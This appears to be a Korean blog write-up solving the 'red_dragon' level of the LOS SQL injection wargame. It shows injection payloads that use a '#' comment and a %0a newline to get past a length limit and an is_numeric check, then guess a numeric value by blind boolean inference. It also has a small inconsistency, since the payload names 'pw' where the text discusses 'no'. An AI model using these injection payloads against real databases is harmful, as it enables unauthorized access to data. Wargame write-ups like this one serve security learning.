[LOS] red_dragon 풀이 (st.26)
Wargame/LOS

[LOS] red_dragon 풀이 (st.26)

 

 

풀이

 

이번 문제는 id의 최대 길이가 7자이다.

또한 no는 is_numeric 함수를 통과 해야한다.

 

이번 문제는 result['no'] === GET['no'] 분기문을 보면 알 수 있듯이, no의 값을 맞춰야한다.

id부분 Query를 다음과 같이 바꾸면 어떻게 될까?

 

Query:  ?id='||1%23

$query "select id from prob_red_dragon where id=''||1#' and no={$no}";

 

해당 부분이 주석처리 된다.

#을 넣으면 한 줄 주석 처리가 된다는 점을 이용해 no의 값을 추측해보자.

Query를 다음과 같이 바꿔보자.

 

Query:  ?id='||pw>%23&pw=%0a(숫자)

$query "select id from prob_red_dragon where id=''||pw>#' and no=%0a(숫자)";

 

참고로, %0a는 is_numeric 함수에 Filtering 되지 않는다.

이제 해당 부분이 주석처리 되고, 부등식은 다음과 같이 바뀐다.

 

pw>(숫자)

 

이제 부등식이 참이면, Hello admin을 출력하고 거짓이면 아무 결과도 출력하지 않는 점을 이용하자.

부등식안에 숫자를 계속 바꿔가면서 no의 값을 추측해보자.

 

'Wargame > LOS' 카테고리의 다른 글

[LOS] phantom 풀이 (st.29)  (0) 2020.06.04
[LOS] blue_dragon 풀이 (st.27)  (0) 2020.06.03
[LOS] hell_fire 풀이 (st.23)  (0) 2020.05.31
[LOS] evil_wizard 풀이 (st.24)  (0) 2020.05.31
[LOS] green_dragon 풀이 (st.25)  (0) 2020.05.31